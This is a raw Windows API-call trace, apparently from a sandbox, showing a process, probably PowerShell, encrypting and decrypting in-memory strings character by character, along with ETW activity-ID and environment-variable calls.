SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.480] SysStringLen (param_1="\x48db\xacaa\x654e\x57fe\x8b4c\xe2a6\x73a1\x5c3d\xf861\xa20b\x2fed\x58b7\x37a8\x86a8\xe788\x53c3\x9d13\xfdbc\xc22d\xe987\xb003\x9652\x8c40\x41c8\x3ae6\xe826\x9539\xf419\xba73\x49f6\x372f\x4f10") returned 0x20 [0128.480] SysStringLen (param_1="\x48db\xacaa\x654e\x57fe\x8b4c\xe2a6\x73a1\x5c3d\xf861\xa20b\x2fed\x58b7\x37a8\x86a8\xe788\x53c3\x9d13\xfdbc\xc22d\xe987\xb003\x9652\x8c40\x41c8\x3ae6\xe826\x9539\xf419\xba73\x49f6\x372f\x4f10") returned 0x20 [0128.480] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.480] SysStringLen (param_1="PjVOnGUt/xM9jDVvEhlF/ruGzCWN1苇즻焛") returned 0x20 [0128.480] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.480] SysStringLen (param_1="\x48db\xacaa\x654e\x57fe\x8b4c\xe2a6\x73a1\x5c3d\xf861\xa20b\x2fed\x58b7\x37a8\x86a8\xe788\x53c3\x9d13\xfdbc\xc22d\xe987\xb003\x9652\x8c40\x41c8\x6562\x151d\x428d\x607d\x3388\x18b2\x846\x7865") returned 0x20 [0128.480] SysStringLen (param_1="\x48db\xacaa\x654e\x57fe\x8b4c\xe2a6\x73a1\x5c3d\xf861\xa20b\x2fed\x58b7\x37a8\x86a8\xe788\x53c3\x9d13\xfdbc\xc22d\xe987\xb003\x9652\x8c40\x41c8\x6562\x151d\x428d\x607d\x3388\x18b2\x846\x7865") returned 0x20 [0128.480] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.480] SysStringLen (param_1="PjVOnGUt/xM9jDVvEhlF/ruGzCWN11즻焛") returned 0x20 [0128.480] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.480] SysStringLen (param_1="\x48db\xacaa\x654e\x57fe\x8b4c\xe2a6\x73a1\x5c3d\xf861\xa20b\x2fed\x58b7\x37a8\x86a8\xe788\x53c3\x9d13\xfdbc\xc22d\xe987\xb003\x9652\x8c40\x41c8\x5309\x350d\xb1c1\x4869\xf355\xcee3\x796d\x4c66") returned 0x20 [0128.480] SysStringLen (param_1="\x48db\xacaa\x654e\x57fe\x8b4c\xe2a6\x73a1\x5c3d\xf861\xa20b\x2fed\x58b7\x37a8\x86a8\xe788\x53c3\x9d13\xfdbc\xc22d\xe987\xb003\x9652\x8c40\x41c8\x5309\x350d\xb1c1\x4869\xf355\xcee3\x796d\x4c66") returned 0x20 [0128.480] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.480] SysStringLen (param_1="PjVOnGUt/xM9jDVvEhlF/ruGzCWN113焛") returned 0x20 [0128.480] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.480] SysStringLen (param_1="\x48db\xacaa\x654e\x57fe\x8b4c\xe2a6\x73a1\x5c3d\xf861\xa20b\x2fed\x58b7\x37a8\x86a8\xe788\x53c3\x9d13\xfdbc\xc22d\xe987\xb003\x9652\x8c40\x41c8\xd371\x451c\x840\x3e68\x76c8\x20f\xaff8\xe4c5") returned 0x20 [0128.480] SysStringLen (param_1="\x48db\xacaa\x654e\x57fe\x8b4c\xe2a6\x73a1\x5c3d\xf861\xa20b\x2fed\x58b7\x37a8\x86a8\xe788\x53c3\x9d13\xfdbc\xc22d\xe987\xb003\x9652\x8c40\x41c8\xd371\x451c\x840\x3e68\x76c8\x20f\xaff8\xe4c5") returned 0x20 [0128.480] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.481] SysStringLen (param_1="PjVOnGUt/xM9jDVvEhlF/ruGzCWN113m") returned 0x20 [0128.481] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.481] SysStringLen (param_1="\x48db\xacaa\x654e\x57fe\x8b4c\xe2a6\x73a1\x5c3d\xf861\xa20b\x2fed\x58b7\x37a8\x86a8\xe788\x53c3\x9d13\xfdbc\xc22d\xe987\xb003\x9652\x8c40\x41c8\xd40d\x6059\x894f\x78e2\x491b\x559e\xa965\x7a80") returned 0x20 [0128.481] SysStringLen (param_1="\x48db\xacaa\x654e\x57fe\x8b4c\xe2a6\x73a1\x5c3d\xf861\xa20b\x2fed\x58b7\x37a8\x86a8\xe788\x53c3\x9d13\xfdbc\xc22d\xe987\xb003\x9652\x8c40\x41c8\xd40d\x6059\x894f\x78e2\x491b\x559e\xa965\x7a80") returned 0x20 [0128.481] SysStringLen (param_1="\x48db\xacaa\x654e\x57fe\x8b4c\xe2a6\x73a1\x5c3d\xf861\xa20b\x2fed\x58b7\x37a8\x86a8\xe788\x53c3\x9d13\xfdbc\xc22d\xe987\xb003\x9652\x8c40\x41c8\xd40d\x6059\x894f\x78e2\x491b\x559e\xa965\x7a80") returned 0x20 [0128.481] SysStringLen (param_1="\x48db\xacaa\x654e\x57fe\x8b4c\xe2a6\x73a1\x5c3d\xf861\xa20b\x2fed\x58b7\x37a8\x86a8\xe788\x53c3\x9d13\xfdbc\xc22d\xe987\xb003\x9652\x8c40\x41c8\xd40d\x6059\x894f\x78e2\x491b\x559e\xa965\x7a80") returned 0x28 [0128.481] SystemFunction041 (in: Memory=0x8e6f8f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f8f4) returned 0x0 [0128.481] SysStringLen (param_1="PjVOnGUt/xM9jDVvEhlF/ruGzCWN113me恳輻秤跛䄋䩓") returned 0x28 [0128.481] SystemFunction040 (in: Memory=0x8e6f8f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f8f4) returned 0x0 [0128.481] SysStringLen (param_1="\x48db\xacaa\x654e\x57fe\x8b4c\xe2a6\x73a1\x5c3d\xf861\xa20b\x2fed\x58b7\x37a8\x86a8\xe788\x53c3\x9d13\xfdbc\xc22d\xe987\xb003\x9652\x8c40\x41c8\xd40d\x6059\x894f\x78e2\x491b\x559e\xa965\x7a80\x7ce7\xa882\x9e05\xf51\xf89a\x4d27\x4ab2\xc25a") returned 0x28 [0128.481] SysStringLen (param_1="\x48db\xacaa\x654e\x57fe\x8b4c\xe2a6\x73a1\x5c3d\xf861\xa20b\x2fed\x58b7\x37a8\x86a8\xe788\x53c3\x9d13\xfdbc\xc22d\xe987\xb003\x9652\x8c40\x41c8\xd40d\x6059\x894f\x78e2\x491b\x559e\xa965\x7a80\x7ce7\xa882\x9e05\xf51\xf89a\x4d27\x4ab2\xc25a") returned 0x28 [0128.481] SystemFunction041 (in: Memory=0x8e6f8f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f8f4) returned 0x0 [0128.481] SysStringLen (param_1="PjVOnGUt/xM9jDVvEhlF/ruGzCWN113mei輻秤跛䄋䩓") returned 0x28 [0128.481] SystemFunction040 (in: Memory=0x8e6f8f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f8f4) returned 0x0 [0128.481] SysStringLen (param_1="\x48db\xacaa\x654e\x57fe\x8b4c\xe2a6\x73a1\x5c3d\xf861\xa20b\x2fed\x58b7\x37a8\x86a8\xe788\x53c3\x9d13\xfdbc\xc22d\xe987\xb003\x9652\x8c40\x41c8\xd40d\x6059\x894f\x78e2\x491b\x559e\xa965\x7a80\xcd24\xd0a8\x5c07\x9f3d\xd2cc\x7ee0\x4920\xaaf") returned 0x28 [0128.481] SysStringLen (param_1="\x48db\xacaa\x654e\x57fe\x8b4c\xe2a6\x73a1\x5c3d\xf861\xa20b\x2fed\x58b7\x37a8\x86a8\xe788\x53c3\x9d13\xfdbc\xc22d\xe987\xb003\x9652\x8c40\x41c8\xd40d\x6059\x894f\x78e2\x491b\x559e\xa965\x7a80\xcd24\xd0a8\x5c07\x9f3d\xd2cc\x7ee0\x4920\xaaf") returned 0x28 [0128.481] SystemFunction041 (in: Memory=0x8e6f8f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f8f4) returned 0x0 [0128.481] SysStringLen (param_1="PjVOnGUt/xM9jDVvEhlF/ruGzCWN113meiV秤跛䄋䩓") returned 0x28 [0128.481] SystemFunction040 (in: Memory=0x8e6f8f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f8f4) returned 0x0 [0128.481] SysStringLen (param_1="\x48db\xacaa\x654e\x57fe\x8b4c\xe2a6\x73a1\x5c3d\xf861\xa20b\x2fed\x58b7\x37a8\x86a8\xe788\x53c3\x9d13\xfdbc\xc22d\xe987\xb003\x9652\x8c40\x41c8\xd40d\x6059\x894f\x78e2\x491b\x559e\xa965\x7a80\x2c1b\x6b2\x92b\x7f0a\xf2b9\xf313\x5c31\x3754") returned 0x28 [0128.481] SysStringLen (param_1="\x48db\xacaa\x654e\x57fe\x8b4c\xe2a6\x73a1\x5c3d\xf861\xa20b\x2fed\x58b7\x37a8\x86a8\xe788\x53c3\x9d13\xfdbc\xc22d\xe987\xb003\x9652\x8c40\x41c8\xd40d\x6059\x894f\x78e2\x491b\x559e\xa965\x7a80\x2c1b\x6b2\x92b\x7f0a\xf2b9\xf313\x5c31\x3754") returned 0x28 [0128.481] SystemFunction041 (in: Memory=0x8e6f8f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f8f4) returned 0x0 [0128.482] SysStringLen (param_1="PjVOnGUt/xM9jDVvEhlF/ruGzCWN113meiVk跛䄋䩓") returned 0x28 [0128.482] SystemFunction040 (in: Memory=0x8e6f8f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f8f4) returned 0x0 [0128.482] SysStringLen (param_1="\x48db\xacaa\x654e\x57fe\x8b4c\xe2a6\x73a1\x5c3d\xf861\xa20b\x2fed\x58b7\x37a8\x86a8\xe788\x53c3\x9d13\xfdbc\xc22d\xe987\xb003\x9652\x8c40\x41c8\xd40d\x6059\x894f\x78e2\x491b\x559e\xa965\x7a80\xb77c\x39f4\x72d2\xfb3d\x3b9f\x12f9\x81be\xa658") returned 0x28 [0128.482] SysStringLen (param_1="\x48db\xacaa\x654e\x57fe\x8b4c\xe2a6\x73a1\x5c3d\xf861\xa20b\x2fed\x58b7\x37a8\x86a8\xe788\x53c3\x9d13\xfdbc\xc22d\xe987\xb003\x9652\x8c40\x41c8\xd40d\x6059\x894f\x78e2\x491b\x559e\xa965\x7a80\xb77c\x39f4\x72d2\xfb3d\x3b9f\x12f9\x81be\xa658") returned 0x28 [0128.482] SystemFunction041 (in: Memory=0x8e6f8f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f8f4) returned 0x0 [0128.482] SysStringLen (param_1="PjVOnGUt/xM9jDVvEhlF/ruGzCWN113meiVk2䄋䩓") returned 0x28 [0128.482] SystemFunction040 (in: Memory=0x8e6f8f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f8f4) returned 0x0 [0128.482] SysStringLen (param_1="\x48db\xacaa\x654e\x57fe\x8b4c\xe2a6\x73a1\x5c3d\xf861\xa20b\x2fed\x58b7\x37a8\x86a8\xe788\x53c3\x9d13\xfdbc\xc22d\xe987\xb003\x9652\x8c40\x41c8\xd40d\x6059\x894f\x78e2\x491b\x559e\xa965\x7a80\xd425\x8319\xd2a7\x8621\xe8be\xc9e9\x3101\x6e7d") returned 0x28 [0128.482] SysStringLen (param_1="\x48db\xacaa\x654e\x57fe\x8b4c\xe2a6\x73a1\x5c3d\xf861\xa20b\x2fed\x58b7\x37a8\x86a8\xe788\x53c3\x9d13\xfdbc\xc22d\xe987\xb003\x9652\x8c40\x41c8\xd40d\x6059\x894f\x78e2\x491b\x559e\xa965\x7a80\xd425\x8319\xd2a7\x8621\xe8be\xc9e9\x3101\x6e7d") returned 0x28 [0128.482] SystemFunction041 (in: Memory=0x8e6f8f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f8f4) returned 0x0 [0128.482] SysStringLen (param_1="PjVOnGUt/xM9jDVvEhlF/ruGzCWN113meiVk2M䩓") returned 0x28 [0128.482] SystemFunction040 (in: Memory=0x8e6f8f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f8f4) returned 0x0 [0128.482] SysStringLen (param_1="\x48db\xacaa\x654e\x57fe\x8b4c\xe2a6\x73a1\x5c3d\xf861\xa20b\x2fed\x58b7\x37a8\x86a8\xe788\x53c3\x9d13\xfdbc\xc22d\xe987\xb003\x9652\x8c40\x41c8\xd40d\x6059\x894f\x78e2\x491b\x559e\xa965\x7a80\x8be2\xcff2\x2a70\xad27\x666\xb758\x54b5\x1802") returned 0x28 [0128.482] SysStringLen (param_1="\x48db\xacaa\x654e\x57fe\x8b4c\xe2a6\x73a1\x5c3d\xf861\xa20b\x2fed\x58b7\x37a8\x86a8\xe788\x53c3\x9d13\xfdbc\xc22d\xe987\xb003\x9652\x8c40\x41c8\xd40d\x6059\x894f\x78e2\x491b\x559e\xa965\x7a80\x8be2\xcff2\x2a70\xad27\x666\xb758\x54b5\x1802") returned 0x28 [0128.482] SystemFunction041 (in: Memory=0x8e6f8f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f8f4) returned 0x0 [0128.482] SysStringLen (param_1="PjVOnGUt/xM9jDVvEhlF/ruGzCWN113meiVk2MZ䩓") returned 0x28 [0128.482] SystemFunction040 (in: Memory=0x8e6f8f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f8f4) returned 0x0 [0128.482] SysStringLen (param_1="\x48db\xacaa\x654e\x57fe\x8b4c\xe2a6\x73a1\x5c3d\xf861\xa20b\x2fed\x58b7\x37a8\x86a8\xe788\x53c3\x9d13\xfdbc\xc22d\xe987\xb003\x9652\x8c40\x41c8\xd40d\x6059\x894f\x78e2\x491b\x559e\xa965\x7a80\xc65e\x25f3\x2e90\xb736\xca5c\xacc7\x401c\xb544") returned 0x28 [0128.482] SysStringLen (param_1="\x48db\xacaa\x654e\x57fe\x8b4c\xe2a6\x73a1\x5c3d\xf861\xa20b\x2fed\x58b7\x37a8\x86a8\xe788\x53c3\x9d13\xfdbc\xc22d\xe987\xb003\x9652\x8c40\x41c8\xd40d\x6059\x894f\x78e2\x491b\x559e\xa965\x7a80\xc65e\x25f3\x2e90\xb736\xca5c\xacc7\x401c\xb544") returned 0x28 [0128.482] SystemFunction041 (in: Memory=0x8e6f8f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f8f4) returned 0x0 [0128.482] SysStringLen (param_1="PjVOnGUt/xM9jDVvEhlF/ruGzCWN113meiVk2MZW") returned 0x28 [0128.482] SystemFunction040 (in: Memory=0x8e6f8f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f8f4) returned 0x0 [0128.482] SysStringLen (param_1="\x48db\xacaa\x654e\x57fe\x8b4c\xe2a6\x73a1\x5c3d\xf861\xa20b\x2fed\x58b7\x37a8\x86a8\xe788\x53c3\x9d13\xfdbc\xc22d\xe987\xb003\x9652\x8c40\x41c8\xd40d\x6059\x894f\x78e2\x491b\x559e\xa965\x7a80\x7e0d\x46eb\x303b\x93d3\x4fce\x23a8\xdd82\xb7ce") returned 0x28 [0128.483] SysStringLen (param_1="\x48db\xacaa\x654e\x57fe\x8b4c\xe2a6\x73a1\x5c3d\xf861\xa20b\x2fed\x58b7\x37a8\x86a8\xe788\x53c3\x9d13\xfdbc\xc22d\xe987\xb003\x9652\x8c40\x41c8\xd40d\x6059\x894f\x78e2\x491b\x559e\xa965\x7a80\x7e0d\x46eb\x303b\x93d3\x4fce\x23a8\xdd82\xb7ce") returned 0x28 [0128.483] SysStringLen (param_1="\x48db\xacaa\x654e\x57fe\x8b4c\xe2a6\x73a1\x5c3d\xf861\xa20b\x2fed\x58b7\x37a8\x86a8\xe788\x53c3\x9d13\xfdbc\xc22d\xe987\xb003\x9652\x8c40\x41c8\xd40d\x6059\x894f\x78e2\x491b\x559e\xa965\x7a80\x7e0d\x46eb\x303b\x93d3\x4fce\x23a8\xdd82\xb7ce") returned 0x28 [0128.483] SysStringLen (param_1="\x48db\xacaa\x654e\x57fe\x8b4c\xe2a6\x73a1\x5c3d\xf861\xa20b\x2fed\x58b7\x37a8\x86a8\xe788\x53c3\x9d13\xfdbc\xc22d\xe987\xb003\x9652\x8c40\x41c8\xd40d\x6059\x894f\x78e2\x491b\x559e\xa965\x7a80\x7e0d\x46eb\x303b\x93d3\x4fce\x23a8\xdd82\xb7ce\x31\x78\x2e\x6d\x70\x33\x2e\x6c") returned 0x30 [0128.483] SystemFunction041 (in: Memory=0x8e3155c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3155c) returned 0x0 [0128.483] SysStringLen (param_1="PjVOnGUt/xM9jDVvEhlF/ruGzCWN113meiVk2MZWq䆀兎픵㲿傢恨⸏") returned 0x30 [0128.483] SystemFunction040 (in: Memory=0x8e3155c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3155c) returned 0x0 [0128.483] SysStringLen (param_1="\x48db\xacaa\x654e\x57fe\x8b4c\xe2a6\x73a1\x5c3d\xf861\xa20b\x2fed\x58b7\x37a8\x86a8\xe788\x53c3\x9d13\xfdbc\xc22d\xe987\xb003\x9652\x8c40\x41c8\xd40d\x6059\x894f\x78e2\x491b\x559e\xa965\x7a80\x7e0d\x46eb\x303b\x93d3\x4fce\x23a8\xdd82\xb7ce\x347d\x3a65\x545a\x6a51\x1862\xfe8c\x663c\xbc46") returned 0x30 [0128.483] SysStringLen (param_1="\x48db\xacaa\x654e\x57fe\x8b4c\xe2a6\x73a1\x5c3d\xf861\xa20b\x2fed\x58b7\x37a8\x86a8\xe788\x53c3\x9d13\xfdbc\xc22d\xe987\xb003\x9652\x8c40\x41c8\xd40d\x6059\x894f\x78e2\x491b\x559e\xa965\x7a80\x7e0d\x46eb\x303b\x93d3\x4fce\x23a8\xdd82\xb7ce\x347d\x3a65\x545a\x6a51\x1862\xfe8c\x663c\xbc46") returned 0x30 [0128.483] SystemFunction041 (in: Memory=0x8e3155c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3155c) returned 0x0 [0128.483] SysStringLen (param_1="PjVOnGUt/xM9jDVvEhlF/ruGzCWN113meiVk2MZWqC兎픵㲿傢恨⸏") returned 0x30 [0128.483] SystemFunction040 (in: Memory=0x8e3155c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3155c) returned 0x0 [0128.483] SysStringLen (param_1="\x48db\xacaa\x654e\x57fe\x8b4c\xe2a6\x73a1\x5c3d\xf861\xa20b\x2fed\x58b7\x37a8\x86a8\xe788\x53c3\x9d13\xfdbc\xc22d\xe987\xb003\x9652\x8c40\x41c8\xd40d\x6059\x894f\x78e2\x491b\x559e\xa965\x7a80\x7e0d\x46eb\x303b\x93d3\x4fce\x23a8\xdd82\xb7ce\xb6a6\x7481\xf94\x1100\x5fa5\xe7c5\x76cd\x6e75") returned 0x30 [0128.483] SysStringLen (param_1="\x48db\xacaa\x654e\x57fe\x8b4c\xe2a6\x73a1\x5c3d\xf861\xa20b\x2fed\x58b7\x37a8\x86a8\xe788\x53c3\x9d13\xfdbc\xc22d\xe987\xb003\x9652\x8c40\x41c8\xd40d\x6059\x894f\x78e2\x491b\x559e\xa965\x7a80\x7e0d\x46eb\x303b\x93d3\x4fce\x23a8\xdd82\xb7ce\xb6a6\x7481\xf94\x1100\x5fa5\xe7c5\x76cd\x6e75") returned 0x30 [0128.483] SystemFunction041 (in: Memory=0x8e3155c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3155c) returned 0x0 [0128.483] SysStringLen (param_1="PjVOnGUt/xM9jDVvEhlF/ruGzCWN113meiVk2MZWqC8픵㲿傢恨⸏") returned 0x30 [0128.483] SystemFunction040 (in: Memory=0x8e3155c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3155c) returned 0x0 [0128.483] SysStringLen (param_1="\x48db\xacaa\x654e\x57fe\x8b4c\xe2a6\x73a1\x5c3d\xf861\xa20b\x2fed\x58b7\x37a8\x86a8\xe788\x53c3\x9d13\xfdbc\xc22d\xe987\xb003\x9652\x8c40\x41c8\xd40d\x6059\x894f\x78e2\x491b\x559e\xa965\x7a80\x7e0d\x46eb\x303b\x93d3\x4fce\x23a8\xdd82\xb7ce\x46c2\xead2\x73db\x9544\x7ab5\xfb50\x3914\x64c2") returned 0x30 [0128.483] SysStringLen (param_1="\x48db\xacaa\x654e\x57fe\x8b4c\xe2a6\x73a1\x5c3d\xf861\xa20b\x2fed\x58b7\x37a8\x86a8\xe788\x53c3\x9d13\xfdbc\xc22d\xe987\xb003\x9652\x8c40\x41c8\xd40d\x6059\x894f\x78e2\x491b\x559e\xa965\x7a80\x7e0d\x46eb\x303b\x93d3\x4fce\x23a8\xdd82\xb7ce\x46c2\xead2\x73db\x9544\x7ab5\xfb50\x3914\x64c2") returned 0x30 [0128.483] SystemFunction041 (in: Memory=0x8e3155c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3155c) returned 0x0 [0128.483] SysStringLen (param_1="PjVOnGUt/xM9jDVvEhlF/ruGzCWN113meiVk2MZWqC8=㲿傢恨⸏") returned 0x30 [0128.483] SystemFunction040 (in: Memory=0x8e3155c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3155c) returned 0x0 [0128.483] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6c0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7d, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.484] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeacc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeacc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7d, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.484] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7c, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7c, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.484] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae5fc, nSize=0x100 | out: lpBuffer="㡐犯,") returned 0x0 [0128.484] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9d4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9d4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7e, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.484] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae934*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae934*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7c, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.484] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9c4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7e, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9c4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7e, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.484] SysStringLen (param_1="") returned 0x8 [0128.484] SysStringLen (param_1="Y") returned 0x8 [0128.484] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.484] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0128.484] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0128.484] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.484] SysStringLen (param_1="YW") returned 0x8 [0128.484] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.484] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0128.484] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0128.484] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.485] SysStringLen (param_1="YWM") returned 0x8 [0128.485] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.485] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0128.485] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0128.485] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.485] SysStringLen (param_1="YWM1") returned 0x8 [0128.485] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.485] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0128.485] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0128.485] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.485] SysStringLen (param_1="YWM1O") returned 0x8 [0128.485] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.485] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0128.485] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0128.485] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.485] SysStringLen (param_1="YWM1OT") returned 0x8 [0128.485] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.485] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0128.485] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0128.485] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.485] SysStringLen (param_1="YWM1OTE") returned 0x8 [0128.486] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.486] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0128.486] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0128.486] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.486] SysStringLen (param_1="YWM1OTEw") returned 0x8 [0128.486] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.486] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0128.486] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 